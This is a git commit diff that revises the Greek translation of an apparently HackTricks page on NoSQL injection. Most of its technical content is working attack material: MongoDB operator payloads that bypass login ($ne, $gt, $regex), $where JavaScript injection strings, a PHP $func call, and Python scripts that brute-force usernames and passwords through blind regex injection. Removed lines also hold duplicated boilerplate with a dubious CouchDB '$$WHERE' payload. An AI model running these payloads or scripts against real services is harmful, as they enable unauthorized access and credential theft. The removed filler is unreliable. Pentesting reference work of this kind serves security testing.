Translated ['pentesting-web/nosql-injection.md'] to gr

This commit is contained in:
Translator 2024-03-03 09:53:11 +00:00
parent 95cbe26eec
commit d23edb1780

View file

@ -3,29 +3,29 @@
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
## Εκμετάλλευση
Στην PHP μπορείτε να στείλετε έναν πίνακα αλλάζοντας την παράμετρο που στέλνεται από _parameter=foo_ σε _parameter\[arrName]=foo._
Στην PHP μπορείτε να στείλετε έναν πίνακα αλλάζοντας την παράμετρο που στέλνετε από _parameter=foo_ σε _parameter\[arrName]=foo._
Οι εκμεταλλεύσεις βασίζονται στην προσθήκη ενός **Τελεστή**:
```bash
@ -38,9 +38,9 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Παράκαμψη βασικής πιστοποίησης
### Βασική παράκαμψη ταυτοποίησης
**Χρησιμοποιώντας τον τελεστή μη ισότητας ($ne) ή μεγαλύτερο ($gt)**
**Χρησιμοποιώντας τον τελεστή διαφορετικότητας ($ne) ή μεγαλύτερος από ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
@ -53,69 +53,15 @@ username[$exists]=true&password[$exists]=true
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
MongoDB is a popular NoSQL database that uses a document-oriented model. It is widely used in web applications and offers a flexible and scalable solution for storing and retrieving data.
#### **NoSQL Injection**
NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB. It is similar to SQL injection, but the attack vectors and techniques differ due to the different query languages used by NoSQL databases.
#### **NoSQL Injection Techniques**
1. **Query Parameter Manipulation**: Attackers can manipulate query parameters to inject malicious code into the query. This can lead to unauthorized access, data leakage, or even remote code execution.
2. **JavaScript Injection**: NoSQL databases often use JavaScript as their query language. Attackers can inject JavaScript code into the query to perform malicious actions, such as bypassing authentication or executing arbitrary commands.
3. **Regular Expression Injection**: NoSQL databases use regular expressions for pattern matching. Attackers can inject malicious regular expressions to manipulate the query and retrieve sensitive information.
4. **Command Injection**: Some NoSQL databases allow the execution of system commands. Attackers can inject malicious commands to execute arbitrary code on the server.
#### **Preventing NoSQL Injection**
To prevent NoSQL injection attacks, follow these best practices:
1. **Input Validation**: Validate and sanitize all user input to prevent malicious code injection.
2. **Parameterized Queries**: Use parameterized queries or prepared statements to ensure that user input is treated as data and not as code.
3. **Least Privilege Principle**: Limit the privileges of the database user to minimize the impact of a successful injection attack.
4. **Secure Configuration**: Follow security best practices for configuring and securing your NoSQL database.
5. **Regular Updates**: Keep your NoSQL database and its dependencies up to date with the latest security patches.
#### **Conclusion**
NoSQL injection is a serious security vulnerability that can lead to unauthorized access, data leakage, and remote code execution. By understanding the attack techniques and implementing preventive measures, you can protect your MongoDB database from these types of attacks.
```javascript
query = { $where: `this.username == '${username}'` }
```
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό εισάγοντας αλφαριθμητικά όπως `admin' || 'a'=='a`, καθιστώντας το ερώτημα να επιστρέψει όλα τα έγγραφα που ικανοποιούν τη συνθήκη με μια ταυτολογία (`'a'=='a'`). Αυτό είναι ανάλογο με τις επιθέσεις εισχώρησης SQL όπου χρησιμοποιούνται εισαγωγές όπως `' or 1=1-- -` για την παραπλάνηση των ερωτημάτων SQL. Στο MongoDB, παρόμοιες εισαγωγές μπορούν να γίνουν χρησιμοποιώντας εισαγωγές όπως `' || 1==1//`, `' || 1==1%00`, ή `admin' || 'a'=='a`.
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό εισάγοντας συμβολοσειρές όπως `admin' || 'a'=='a`, κάνοντας το ερώτημα να επιστρέψει όλα τα έγγραφα εκπληρώνοντας τη συνθήκη με μια ταυτολογία (`'a'=='a'`). Αυτό είναι ανάλογο με τις επιθέσεις εισροών SQL όπου χρησιμοποιούνται εισαγωγές όπως `' or 1=1-- -` για την παραπλάνηση των ερωτημάτων SQL. Στη MongoDB, παρόμοιες εισροές μπορούν να γίνουν χρησιμοποιώντας εισαγωγές όπως `' || 1==1//`, `' || 1==1%00`, ή `admin' || 'a'=='a`.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
### Εξαγωγή πληροφοριών **μήκους**
To extract length information in a NoSQL injection attack, you can use the `$where` operator in MongoDB or the `$$WHERE` operator in CouchDB. These operators allow you to execute JavaScript code on the server-side.
For MongoDB, you can use the following payload to extract the length of a field:
```
db.collection.find({$where: "this.field.length == X"})
```
Replace `collection` with the name of the collection you want to target, `field` with the name of the field you want to extract the length from, and `X` with the desired length.
For CouchDB, you can use the following payload:
```
db.view('design_doc/view_name', {key: 'field', $$WHERE: "field.length == X"})
```
Replace `design_doc` with the name of the design document, `view_name` with the name of the view, `field` with the name of the field you want to extract the length from, and `X` with the desired length.
By manipulating the payload and observing the server's response, you can gather valuable information about the length of fields in the database.
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
@ -140,38 +86,6 @@ in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
MongoDB is a popular NoSQL database that uses a document-oriented model. It is widely used in web applications and offers a flexible and scalable solution for storing and retrieving data.
#### **NoSQL Injection**
NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB. It is similar to SQL injection, but the attack vectors and techniques differ due to the different query languages used by NoSQL databases.
#### **NoSQL Injection Techniques**
1. **Query Parameter Manipulation**: Attackers can manipulate query parameters to inject malicious code into the query. This can lead to unauthorized access, data leakage, or even remote code execution.
2. **JavaScript Injection**: NoSQL databases often use JavaScript as their query language. Attackers can inject JavaScript code into the query to perform malicious actions, such as bypassing authentication or executing arbitrary commands.
3. **Regular Expression Injection**: NoSQL databases use regular expressions for pattern matching. Attackers can inject malicious regular expressions to manipulate the query and retrieve sensitive information.
4. **Command Injection**: Some NoSQL databases allow the execution of system commands. Attackers can inject malicious commands to execute arbitrary code on the server.
#### **Preventing NoSQL Injection**
To prevent NoSQL injection attacks, follow these best practices:
1. **Input Validation**: Validate and sanitize all user input to prevent malicious code injection.
2. **Parameterized Queries**: Use parameterized queries or prepared statements to ensure that user input is treated as data and not as code.
3. **Least Privilege Principle**: Limit the privileges of the database user to minimize the impact of a successful injection attack.
4. **Secure Configuration**: Follow security best practices for configuring and securing your NoSQL database.
#### **Conclusion**
NoSQL injection is a serious security vulnerability that can lead to unauthorized access, data leakage, and remote code execution. By understanding the attack techniques and implementing proper security measures, you can protect your MongoDB database from these types of attacks.
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
@ -183,9 +97,9 @@ NoSQL injection is a serious security vulnerability that can lead to unauthorize
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### Αυθαίρετη Εκτέλεση Συνάρτησης σε PHP
### Αυθαίρετη Εκτέλεση Συνάρτησης PHP
Χρησιμοποιώντας τον τελεστή **$func** της βιβλιοθήκης [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (που χρησιμοποιείται από προεπιλογή), είναι πιθανό να εκτελεστεί μια αυθαίρετη συνάρτηση, όπως αναφέρεται σε [αυτήν την αναφορά](https://swarm.ptsecurity.com/rce-cockpit-cms/).
Χρησιμοποιώντας τον τελεστή **$func** της βιβλιοθήκης [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (χρησιμοποιείται από προεπιλογή) ενδέχεται να είναι δυνατή η εκτέλεση μιας αυθαίρετης συνάρτησης όπως σε [αυτήν την αναφορά](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
@ -193,7 +107,9 @@ NoSQL injection is a serious security vulnerability that can lead to unauthorize
### Λήψη πληροφοριών από διαφορετική συλλογή
Είναι δυνατόν να χρησιμοποιήσουμε το [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) για να λάβουμε πληροφορίες από μια διαφορετική συλλογή. Στο παρακάτω παράδειγμα, διαβάζουμε από μια **διαφορετική συλλογή** που ονομάζεται **`users`** και λαμβάνουμε τα **αποτελέσματα όλων των καταχωρήσεων** με έναν κωδικό πρόσβασης που ταιριάζει με έναν χαρακτήρα μπαλαντέρ.
Είναι δυνατόν να χρησιμοποιήσετε το [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) για να λάβετε πληροφορίες από μια διαφορετική συλλογή. Στο παρακάτω παράδειγμα, διαβάζουμε από μια **διαφορετική συλλογή** που ονομάζεται **`users`** και λαμβάνουμε τα **αποτελέσματα όλων των καταχωρήσεων** με έναν κωδικό πρόσβασης που ταιριάζει με ένα μπαλαντέρ.
**ΣΗΜΕΙΩΣΗ:** Το `$lookup` και άλλες λειτουργίες συγκέντρωσης είναι διαθέσιμες μόνο εάν η λειτουργία `aggregate()` χρησιμοποιήθηκε για την εκτέλεση της αναζήτησης αντί για τις πιο συνηθισμένες λειτουργίες `find()` ή `findOne()`.
```json
[
{
@ -215,7 +131,7 @@ NoSQL injection is a serious security vulnerability that can lead to unauthorize
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εύκολα ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -252,17 +168,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Σενάριο Τυφλής Επίθεσης NoSQL
Το σενάριο της τυφλής επίθεσης NoSQL χρησιμοποιείται για να εκμεταλλευτεί τις ευπάθειες των συστημάτων NoSQL που χρησιμοποιούνται σε ιστοσελίδες και εφαρμογές. Αυτή η επίθεση είναι αποτέλεσμα μη ασφαλούς υλοποίησης των μηχανισμών αυθεντικοποίησης και ελέγχου πρόσβασης στη βάση δεδομένων NoSQL.
Η τυφλή επίθεση NoSQL συνήθως αρχίζει με την εύρεση ευπάθειας στην εφαρμογή που χρησιμοποιεί NoSQL. Αυτό μπορεί να γίνει μέσω ανάλυσης του κώδικα της εφαρμογής ή μέσω εργαλείων ευπάθειας εφαρμογών. Αφού βρεθεί η ευπάθεια, ο επιτιθέμενος μπορεί να εκτελέσει εντολές NoSQL για να ανακτήσει πληροφορίες από τη βάση δεδομένων.
Η τυφλή επίθεση NoSQL είναι διαφορετική από την επίθεση NoSQL Injection, καθώς δεν επιστρέφει απευθείας τα αποτελέσματα των εντολών NoSQL. Αντ' αυτού, ο επιτιθέμενος πρέπει να εξάγει πληροφορίες μέσω της εκτέλεσης συγκεκριμένων εντολών που θα επηρεάσουν την απόκριση της εφαρμογής.
Για παράδειγμα, ο επιτιθέμενος μπορεί να χρησιμοποιήσει την εντολή `$ne` για να ελέγξει αν μια συγκεκριμένη συνθήκη είναι ψευδής ή αληθής. Αν η απόκριση της εφαρμογής είναι διαφορετική ανάλογα με την απάντηση της εντολής, τότε ο επιτιθέμενος μπορεί να συμπεράνει πληροφορίες για τη βάση δεδομένων.
Η τυφλή επίθεση NoSQL μπορεί να χρησιμοποιηθεί για να ανακτήσει ευαίσθητες πληροφορίες, όπως ονόματα χρηστών, κωδικούς πρόσβασης ή άλλα δεδομένα που αποθηκεύονται στη βάση δεδομένων NoSQL. Είναι σημαντικό να επισημανθεί ότι η επίθεση αυτή απαιτεί προσεκτική ανάλυση και δοκιμή, καθώς οι εντολές NoSQL πρέπει να προσαρμοστούν στο συγκεκριμένο σύστημα που επιτίθεται.
## Σενάριο Blind NoSQL
```python
import requests, string
@ -298,7 +204,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### Επίθεση με βίαιη δοκιμή στα ονόματα χρηστών και τους κωδικούς πρόσβασης από την αίτηση POST σύνδεσης
### Επίθεση Brute-force στα ονόματα χρηστών και στους κωδικούς πρόσβασης από την POST σελίδα σύνδεσης
Αυτό είναι ένα απλό σενάριο που μπορείτε να τροποποιήσετε, αλλά τα προηγούμενα εργαλεία μπορούν επίσης να εκτελέσουν αυτήν την εργασία.
```python
@ -354,22 +260,22 @@ get_password(u)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}